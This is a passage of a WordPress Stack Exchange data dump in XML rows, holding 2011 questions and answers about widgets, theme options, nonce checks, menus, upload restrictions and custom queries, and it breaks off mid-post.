  <row Id="16211" PostTypeId="2" ParentId="16209" CreationDate="2011-05-03T06:03:18.373" Score="0" ViewCount="" Body="&lt;p&gt;Maybe you'd like to make a photoblog with &lt;a href=&quot;http://johannes.jarolim.com/blog/wordpress/yet-another-photoblog/&quot; rel=&quot;nofollow&quot;&gt;YAPB&lt;/a&gt; and the &lt;a href=&quot;http://xyloid.org/projects/reflection/&quot; rel=&quot;nofollow&quot;&gt;reflection theme&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-05-03T06:03:18.373" CommentCount="1" />
  <row Id="16212" PostTypeId="2" ParentId="16194" CreationDate="2011-05-03T06:14:14.403" Score="1" ViewCount="" Body="&lt;p&gt;There's a extension called &quot;Widget Logic&quot;. It adds a field to every sidebar widget in admin section where you can add a piece of php code that you can use to archive what you most likely need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its a bit cumbersome but works. For example you mention that for multilanguage site, you can still use &quot;is_page&quot; since you can also pass array for the function, like this: is_page(array(94,71,3)) ..  With logic operators (and/or/not/xor) combined with  you can archive any combination.&lt;/p&gt;&#xA;" OwnerUserId="5068" LastActivityDate="2011-05-03T06:14:14.403" CommentCount="3" />
  <row Id="16213" PostTypeId="2" ParentId="2399" CreationDate="2011-05-03T06:18:35.837" Score="0" ViewCount="" Body="&lt;p&gt;You could just use  &quot;Widget Logic&quot; extension so you don't need write support for custom widgets in sidebar into the actual template.&lt;/p&gt;&#xA;" OwnerUserId="5068" LastActivityDate="2011-05-03T06:18:35.837" />
  <row Id="16214" PostTypeId="2" ParentId="15993" CreationDate="2011-05-03T06:31:52.460" Score="0" ViewCount="" Body="&lt;p&gt;Have you taken a look over at ccs3pie &lt;a href=&quot;http://css3pie.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Rounded Corners And CSS3 hacks for ie&lt;/strong&gt;&lt;/a&gt; this should do what you want aswell as forcing good old ie into submission to comply.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-05-03T06:31:52.460" CommentCount="1" />
  <row Id="16215" PostTypeId="2" ParentId="16208" CreationDate="2011-05-03T06:55:42.907" Score="0" ViewCount="" Body="&lt;p&gt;Are you looking to have a script only trigger when the widget is being used?&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-05-03T06:55:42.907" CommentCount="1" />
  <row Id="16216" PostTypeId="1" CreationDate="2011-05-03T06:57:59.107" Score="1" ViewCount="132" Body="&lt;p&gt;Just before I start please note that I am new at any type of WordPress/PHP security. Few days ago friend of mine asked me to create Theme Options for his Theme, all set and working fine, however he had few minor issues with his Theme in the past and I would like to make sure that Nonce and check_admin_referer is set properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I used:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/check_admin_referer&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/check_admin_referer&lt;/a&gt;  &lt;a href=&quot;http://codex.wordpress.org/WordPress_Nonces&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/WordPress_Nonces&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And now my question is: where exactly wp_nonce_field needs to be in and where check_admin_referer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before the form start I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if ( !empty($_POST) &amp;amp;&amp;amp; check_admin_referer('crt_nonce') )&#xA;    {&#xA;$saved = false;&#xA;if (  isset( $_REQUEST['action'] ) &amp;amp;&amp;amp; 'save' == $_REQUEST['action'] ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and just before form closes the wp_nonce_field&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;form action=&quot;&quot; id=&quot;save&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;?php wp_nonce_field('crt_nonce'); ?&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are few articles about this around, but they don't help me at all. If anyone can and wants to assist me here I would very much appreciated. And I will do my best to follow your instructions religiously and try to avoid more questions ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS Oh, so that I don't forget :) wp_nonce_field and check_admin_referer needs to be set once correct, not for each field options that I've created?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Draga&lt;/p&gt;&#xA;" OwnerUserId="5069" LastActivityDate="2011-06-02T14:02:17.040" Title="WordPress Nonce and check admin referer help needed" Tags="&lt;theme-options&gt;" AnswerCount="2" />
  <row Id="16217" PostTypeId="2" ParentId="13273" CreationDate="2011-05-03T07:14:10.053" Score="0" ViewCount="" Body="&lt;p&gt;I use Facebook Photo Fetcher to share all photos from my facebook fan page to wordpress(organizing by Album is not yet available). It works well except you need to refresh the code after every upload of new photos to facebook fan page, it's not automatic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately for me, This plugin doesn't do what I want it to do... which is to display photos from my facebook fan page that my guests are posting (I don't post many photos).&lt;/p&gt;&#xA;" OwnerUserId="5070" LastActivityDate="2011-05-03T07:14:10.053" />
  <row Id="16218" PostTypeId="1" AcceptedAnswerId="16220" CreationDate="2011-05-03T07:15:10.347" Score="1" ViewCount="90" Body="&lt;p&gt;I'm developing an online store using wp e-commerce plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst working on it locally the problem didn't occur, but after I started testing it online a large gap began appearing before the top of the page. Using Firebug I've been able to see that the styling causing it is:&#xA;html {margin-top: 28px !important; }&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which firebug is telling me comes from a file that has the same name as the page ie: if example.com/products-page is the page being viewed it says that the style in question is being created by &lt;a href=&quot;http://example.com/products-page&quot; rel=&quot;nofollow&quot;&gt;http://example.com/products-page&lt;/a&gt; on (line63)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used dreamweaver to search the entire wordpress folder locally for the style causing the error but it doesn't exist - it seems to be only occurring when the site is live online. I considered that possibly something could be getting added at a server level so I uploaded the site to an account on a different host - but same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a reset.css file that would normally overcome this style being recognised - but than !important is what keeps it from being ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insights or suggestions greatly appreciated&lt;/p&gt;&#xA;" OwnerUserId="4871" LastActivityDate="2011-05-03T07:22:47.020" Title="style being attatched to &lt;html&gt; tag from outside of style sheets" Tags="&lt;3.0&gt;&lt;css&gt;&lt;plugin-wp-e-commerce&gt;&lt;wp-ecommerce&gt;" AnswerCount="2" />
  <row Id="16219" PostTypeId="2" ParentId="16208" CreationDate="2011-05-03T07:19:47.957" Score="1" ViewCount="" Body="&lt;p&gt;You could extend the &lt;code&gt;WP_Widget&lt;/code&gt; class and add your init stuff to the constructor or overload the &lt;code&gt;widget()&lt;/code&gt; method with your modified code. E.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class WPSE_16208_Widget extends WP_Widget {&#xA;    function __construct( $id_base = false, $name, $widget_options = array(), $control_options = array() ) {&#xA;        parent::__construct($id_base, $name, $widget_options, $control_options);&#xA;&#xA;        // do your stuff on init&#xA;    }&#xA;&#xA;    function widget() {&#xA;        // overload WP_Widget::widget()&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-05-03T07:19:47.957" CommentCount="1" />
  <row Id="16220" PostTypeId="2" ParentId="16218" CreationDate="2011-05-03T07:22:06.490" Score="0" ViewCount="" Body="&lt;p&gt;This is almost surely your problem &lt;a href=&quot;http://www.websynn.com/2011/04/11/wordpress-html-margin-top-28px-important/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Wordpress Admin Bar&lt;/strong&gt;&lt;/a&gt; .. &lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-05-03T07:22:06.490" CommentCount="1" />
  <row Id="16221" PostTypeId="2" ParentId="16218" CreationDate="2011-05-03T07:22:47.020" Score="1" ViewCount="" Body="&lt;p&gt;Could it be that you're logged in to the WordPress admin panel? The new WordPress admin-bar adds some css to the header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style type=&quot;text/css&quot; media=&quot;print&quot;&amp;gt;#wpadminbar { display:none; }&amp;lt;/style&amp;gt;&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;    html { margin-top: 28px !important; }&#xA;    * html body { margin-top: 28px !important; }&#xA;&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-05-03T07:22:47.020" CommentCount="1" />
  <row Id="16222" PostTypeId="1" AcceptedAnswerId="16301" CreationDate="2011-05-03T07:30:41.250" Score="1" ViewCount="337" Body="&lt;p&gt;&quot;Insert search engine here&quot; was pretty useless for this one - I've had a look through &lt;code&gt;wp-includes/functions.php&lt;/code&gt;, &lt;code&gt;wp-admin/includes/file.php&lt;/code&gt; etc. but not found a reason for the behaviour I'm getting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running multisite, and when I upload a .doc or .pdf I don't have a problem. When I upload a .ppt - regardless of the actual filename or mimetype (i.e. a .ppt renamed to .txt, a .txt renamed to .ppt) - I'm told &quot;Sorry,this file type is not permitted for security reasons&quot; with little other explanation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to modify the mimes table, add an override (and if so, what's the syntax for this), or is it something in my Apache conf? I've done some funny fiddling to try and lock things down in a few places, possibly blocking .pot files.&lt;/p&gt;&#xA;" OwnerUserId="827" LastEditorUserId="4645" LastEditorDisplayName="" LastEditDate="2011-08-22T22:25:35.820" LastActivityDate="2011-08-22T22:25:35.820" Title="Can upload doc and pdf but not ppt - not permitted for security reasons" Tags="&lt;multisite&gt;&lt;3.1&gt;&lt;security&gt;&lt;media-upload&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="16223" PostTypeId="1" CreationDate="2011-05-03T07:41:36.103" Score="0" ViewCount="216" Body="&lt;p&gt;In BuddyPress, when a user clicks on their username, they are presented with a page that contains a menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Activity&#xA;Profile&#xA;Messages&#xA;Friends&#xA;Groups&#xA;Settings&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I add an item to this menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do display this menu inside my template? (The default page template only displays the main navigation.)&lt;/p&gt;&#xA;" OwnerUserId="3525" LastEditorUserId="3525" LastEditorDisplayName="" LastEditDate="2011-05-10T02:19:45.447" LastActivityDate="2011-05-10T02:19:45.447" Title="Add BuddyPress Profile Menu Item" Tags="&lt;buddypress&gt;" />
  <row Id="16224" PostTypeId="2" ParentId="16108" CreationDate="2011-05-03T08:24:56.510" Score="0" ViewCount="" Body="&lt;p&gt;If you only want the first value, there's no need to be fetching all the values just to extract one value from the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://codex.wordpress.org/Custom_Fields#Function_Reference&quot; rel=&quot;nofollow&quot;&gt;Custom Fields - Function Reference&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;You should use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_meta&lt;/code&gt;&lt;/a&gt; instead setting the third arg to true (for a single value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_post_meta( $post-&amp;gt;ID, 'your-field-name', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You then not need to keep referencing the first item in the array, eg. &lt;code&gt;$arr[0]&lt;/code&gt; .. nor would you need loops to iterate data you only want a single value from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;get_post_meta&lt;/code&gt; returns an empty array/string when there's no data(string/array depends whether you're fetching multiple or single - ie. what you set for the third param), but you could also potentially have an empty value for the field, so this should cover the field being set but empty, or not being present all together.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$field = get_post_meta( $post-&amp;gt;ID, 'your-field-name', true );&#xA;if( !empty( $field ) ) {&#xA;    // Do whatever you like when the field has a value..&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-05-03T08:24:56.510" />
  <row Id="16225" PostTypeId="1" AcceptedAnswerId="16226" CreationDate="2011-05-03T08:54:54.670" Score="1" ViewCount="94" Body="&lt;p&gt;I have 3.1.2 running with the Boldy theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.dekho.com.au/&quot; rel=&quot;nofollow&quot;&gt;Site link.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a menu that has a number of external links listed in the items.&lt;br&gt;&#xA;By default, these items do NOT load in a new tab/window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no option in the Admin --&gt; Appearance --&gt; Menus, to tick a box to say open in new window.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get them to do this?  &lt;/p&gt;&#xA;" OwnerUserId="4280" LastActivityDate="2011-07-26T20:31:24.777" Title="Menus - Open items in new tab/window?" Tags="&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="1" />
  <row Id="16226" PostTypeId="2" ParentId="16225" CreationDate="2011-05-03T09:14:48.107" Score="2" ViewCount="" Body="&lt;p&gt;In your WordPress admin panel, go to &lt;code&gt;Appearance &amp;gt; Menus&lt;/code&gt;. Select &lt;code&gt;Screen Options&lt;/code&gt; in the top right corner. Enable the property &lt;code&gt;Link Target&lt;/code&gt;. Now you can set your link target element in your external link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/6YWN8.png&quot; alt=&quot;Screen Options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/8O5cD.png&quot; alt=&quot;Enable Link Target&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Tw7Sd.png&quot; alt=&quot;Set Link Target on link&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-05-03T09:14:48.107" CommentCount="4" />
  <row Id="16227" PostTypeId="1" CreationDate="2011-05-03T09:31:09.263" Score="0" ViewCount="29" Body="&lt;p&gt;Do you know any plugins that provide the neat way to browse through the tags like Stack Exchange sites do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to provide to the user a tag cloud ordered by number of posts;&#xA;once the user selects a tag, the site should show the related tags allowing the user to browse and drill down through the tags like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mywordpresssite.com/?tag=java+framework+anothermorespecifictag&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="902" LastActivityDate="2011-05-03T09:31:09.263" Title="Tag browsing with related tags like Stack Exchange" Tags="&lt;plugins&gt;&lt;tags&gt;" />
  <row Id="16228" PostTypeId="1" CreationDate="2011-05-03T10:13:24.470" Score="1" ViewCount="76" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9076/why-is-my-database-import-losing-text-widget-data&quot;&gt;Why is my database import losing text widget data?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I routinely move WordPress sites from a dev server to a live server by copying the files across, exporting the database to a text file, running a find and replace on the database export to change the test url to the live url, and then importing the database on the live server. Words flawlessly EXCEPT for sidebar widgets, which always get wiped out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually I only have a couple of widgets so it's not a big deal but I've just migrated a site that had eight custom sidebars and multiple widgets in each one and re-doing them all was a major PITA, so I've decided to try and work out what's actually going on and see if I can find a better solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see in the options table where the widget values are stored and wow, it's a real jungle in there. However, they're just database fields that are being copied across like any other - why don't the widgets work on the new site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know? &lt;/p&gt;&#xA;" OwnerUserId="1890" LastActivityDate="2011-05-03T10:13:24.470" ClosedDate="2011-05-03T10:52:30.543" Title="Widgets not being migrated" Tags="&lt;widgets&gt;&lt;sidebar&gt;&lt;migration&gt;" CommentCount="0" />
  <row Id="16229" PostTypeId="2" ParentId="16077" CreationDate="2011-05-03T10:43:32.747" Score="0" ViewCount="" Body="&lt;p&gt;So I finally figured out 2 ways of doing it. The first way is...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;&#xA;$args = array(&#xA;    array(&#xA;        'numberposts'     =&amp;gt; 3,&#xA;        'offset'          =&amp;gt; 0,&#xA;        'orderby'         =&amp;gt; 'post_date',&#xA;        'order'           =&amp;gt; 'DESC',&#xA;        'post_type'       =&amp;gt; 'gp_news',&#xA;        'post_status'     =&amp;gt; 'publish',&#xA;        'meta_key'        =&amp;gt; '_thumbnail_id',&#xA;        'meta_value'      =&amp;gt; 1,&#xA;        'meta_compare'    =&amp;gt; '&amp;gt;='&#xA;    ),&#xA;    array(&#xA;        'numberposts'     =&amp;gt; 1,&#xA;        'offset'          =&amp;gt; 0,&#xA;        'orderby'         =&amp;gt; 'post_date',&#xA;        'order'           =&amp;gt; 'DESC',&#xA;        'post_type'       =&amp;gt; 'gp_competitions',&#xA;        'post_status'     =&amp;gt; 'publish'&#xA;    )&#xA;);&#xA;&#xA;echo '&amp;lt;ul class=&quot;hp_minifeatured&quot;&amp;gt;';&#xA;$temp_query = clone $wp_query;&#xA;for($index = 0; $index &amp;lt; count($args); $index++) {&#xA;    $myposts = new WP_Query( $args );&#xA;&#xA;    if($myposts-&amp;gt;have_posts()) {&#xA;        while($myposts-&amp;gt;have_posts()) {&#xA;            $myposts-&amp;gt;the_post();&#xA;            echo '&amp;lt;li&amp;gt;';&#xA;&#xA;            if ( has_post_thumbnail() ) {&#xA;                the_post_thumbnail( 'homepage-thumbnail' );&#xA;            }&#xA;            ?&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;?php echo($args[$index]['post_type']); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;Permalink to &amp;lt;?php esc_attr(the_title()); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;Continue...&amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php&#xA;            echo '&amp;lt;/li&amp;gt;';&#xA;        }&#xA;    }&#xA;}&#xA;$wp_query = clone $temp_query;  &#xA;echo '&amp;lt;/ul&amp;gt;&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but this results in using multiple queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;global $post;&#xA;&#xA;$querystr = &quot;(SELECT wp_posts.* FROM $wpdb-&amp;gt;posts wp_posts, $wpdb-&amp;gt;postmeta wp_postmeta WHERE wp_posts.ID = wp_postmeta.post_id and wp_posts.post_status = 'publish' and wp_posts.post_type = 'gp_news' and wp_postmeta.meta_key = '_thumbnail_id' and wp_postmeta.meta_value &amp;gt;= 1 ORDER BY wp_posts.post_date DESC LIMIT 3) union (SELECT wp_posts.* FROM $wpdb-&amp;gt;posts wp_posts, $wpdb-&amp;gt;postmeta wp_postmeta WHERE wp_posts.ID = wp_postmeta.post_id and wp_posts.post_status = 'publish' and wp_posts.post_type = 'gp_competitions' and wp_postmeta.meta_key = '_thumbnail_id' and wp_postmeta.meta_value &amp;gt;= 1 ORDER BY wp_posts.post_date DESC LIMIT 1)&quot;;&#xA;$pageposts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;&#xA;if ($pageposts) {&#xA;    foreach ($pageposts as $post) {&#xA;        setup_postdata($post);&#xA;        echo '&amp;lt;li&amp;gt;';&#xA;        if ( has_post_thumbnail() ) {&#xA;            the_post_thumbnail( 'homepage-thumbnail' );&#xA;        }&#xA;        ?&amp;gt;&#xA;        &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;Permalink to &amp;lt;?php esc_attr(the_title()); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;Continue...&amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php&#xA;        echo '&amp;lt;/li&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3545" LastActivityDate="2011-05-03T10:43:32.747" />
  <row Id="16230" PostTypeId="1" AcceptedAnswerId="16232" CreationDate="2011-05-03T10:51:02.573" Score="0" ViewCount="130" Body="&lt;p&gt;Since I am pretty new to WP and the whole stuff i ran into a problem.&#xA;I am using the pretty-well known &quot;Lightword&quot; Theme. And today i've upgraded to the newest version. &#xA;It's now possible to add/edit the menu items through the theme-settings. Although I like this very much I am not able to display more than one additional menu-item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to &quot;wp-admin/nav-menus.php&quot; I am able to select a menu item in a box (the english titel of the box is probably: &quot;Position in theme&quot;) on the left-side. But I am only able to select one. &#xA;So what can I do to show up all created menus?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="5072" LastActivityDate="2011-05-03T11:17:39.517" Title="Lightword Theme - only one menu item" Tags="&lt;themes&gt;&lt;menus&gt;" AnswerCount="1" />
  <row Id="16231" PostTypeId="2" ParentId="16216" CreationDate="2011-05-03T11:03:48.243" Score="1" ViewCount="" Body="&lt;p&gt;It's not exactly answer to your question but I suggest you check out &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;Settings API&lt;/a&gt; instead. It's not ideal (a little too verbose), but it's very structured approach so it's easier to get nice consistent looking form and harder to get security wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chip Bennett had published thorough &lt;a href=&quot;http://www.chipbennett.net/2011/02/17/incorporating-the-settings-api-in-wordpress-themes/&quot; rel=&quot;nofollow&quot;&gt;tutorial that shows step by step how to use it for theme options page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-03T11:03:48.243" />
  <row Id="16232" PostTypeId="2" ParentId="16230" CreationDate="2011-05-03T11:17:39.517" Score="0" ViewCount="" Body="&lt;p&gt;You are trying to display multiple menu items, or multiple menus?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each theme supports a certain number of menus. Your's may only support one menu, that is the menu position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You create a menu to go there. From withing the menu creator interface you put all the items you want to appear on your menu. You can even nest items, to create children in your menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You assign that menu you have created to the position, depending how many your theme supports. Many only support one menu natively. You can only add one menu per position, but that one menu can have as many items as you like. You set up your top level items, and assign children by dragging the items below and slightly to the side of a parent item. For most themes, the children items will behave as dropdowns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to add more, you can code them in, or use a widget. WordPress comes with a custom menu widget which allows you to assign custom menus to it.&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-05-03T11:17:39.517" CommentCount="2" />
  <row Id="16233" PostTypeId="1" AcceptedAnswerId="16239" CreationDate="2011-05-03T11:32:21.047" Score="0" ViewCount="69" Body="&lt;p&gt;At the moment my users posts are only viewable to them. I would like to implement a system where they can choose to share any post with other users they know. The problem I'm having is, how do I make the connection between users? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best I came up with is to create a table in the db and store their friends by user id's. &#xA;Example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user_ID 2   friends_ID 5,9,34,85&#xA;&#xA;user_ID 87   friends_ID 67,2,99,100,58,309&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to be able to retrieve their friends list so I can use it later in various parts of the site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this will not be simple, but I am fully open to ideas, suggestions or similar plugin.  Thank you all in advance. &lt;/p&gt;&#xA;" OwnerUserId="4777" LastActivityDate="2011-05-03T20:50:01.540" Title="How to implement friend system for Wordpress?  " Tags="&lt;users&gt;&lt;author&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="16234" PostTypeId="1" CreationDate="2011-05-03T11:36:30.880" Score="0" ViewCount="92" Body="&lt;p&gt;Is there any plugin which creates a new post from each image I upload/select with it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create many posts with one image per post.&#xA;Currently I select, upload all images. Then create new post, name it same as image file name, insert image from media library and then save to draft/publish it&lt;/p&gt;&#xA;" OwnerUserId="5073" LastEditorUserId="5073" LastEditorDisplayName="" LastEditDate="2011-05-03T12:12:57.387" LastActivityDate="2011-05-03T12:12:57.387" Title="Bulk Image Uploader to create new post from each image" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;images&gt;&lt;uploads&gt;&lt;bulk&gt;" />
  <row Id="16235" PostTypeId="1" AcceptedAnswerId="16238" CreationDate="2011-05-03T11:48:08.897" Score="0" ViewCount="93" Body="&lt;p&gt;I'm developing a theme where I'm using theme options to allow users to set various things -- text size, background colour, link colour, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic code I'm using for the options is in header.php and looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$options = get_option('mytheme_theme_options');&#xA;&#xA;if( isset( $options['backgroundcolour'] ) &amp;amp;&amp;amp; ( !empty( $options['backgroundcolour'] ) ) )   &#xA;printf( &quot;body {background: #%s;}&quot;, $options['backgroundcolour'] );&#xA;&#xA;if( isset( $options['linkcolour'] ) &amp;amp;&amp;amp; ( !empty( $options['linkcolour'] ) ) )   &#xA;printf( &quot;a, a:link {color: #%s;}&quot;, $options['linkcolour'] );&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One of the options I want to set is a border radius for some chunks of content, which requires multiple declarations of the same value to work in all modern browsers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.post {-webkit-border-radius: 8px; -moz-border-radius: 8px; border-radius: 8px;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, how do I get the PHP above to declare the same value three times in my CSS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should add that I'm not normally a PHP person; feeling a bit out of my depth here. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2666" LastActivityDate="2011-05-03T12:10:48.143" Title="Using theme options to change a border-radius value" Tags="&lt;php&gt;&lt;css&gt;&lt;theme-options&gt;" AnswerCount="1" />
  <row Id="16236" PostTypeId="1" AcceptedAnswerId="19078" CreationDate="2011-05-03T12:05:07.103" Score="0" ViewCount="182" Body="&lt;p&gt;Ok guys, I'm going to start a user generated content site using WordPress.&#xA;Please suggest a plugin.&#xA;Here are the features i need.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Registration/Login&lt;/li&gt;&#xA;&lt;li&gt;User content submit form upon login.&lt;/li&gt;&#xA;&lt;li&gt;User can post the content.&lt;/li&gt;&#xA;&lt;li&gt;A moderator have to approve the content.&lt;/li&gt;&#xA;&lt;li&gt;Once published disable the edit option for user.&lt;/li&gt;&#xA;&lt;li&gt;A point system.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the user content form I need the following.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title&lt;/li&gt;&#xA;&lt;li&gt;Desc&lt;/li&gt;&#xA;&lt;li&gt;Q and A form (question, Answer)&lt;/li&gt;&#xA;&lt;li&gt;Below that I need one option button ( + Add another Q and A)&lt;/li&gt;&#xA;&lt;li&gt;When they click that button another form have to show below.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think this is what I need as of now. Guys please suggest some plugins for these. I'm sure i can't get a plugin with all these options. So give me some ideas. Suggest me some plugins even if 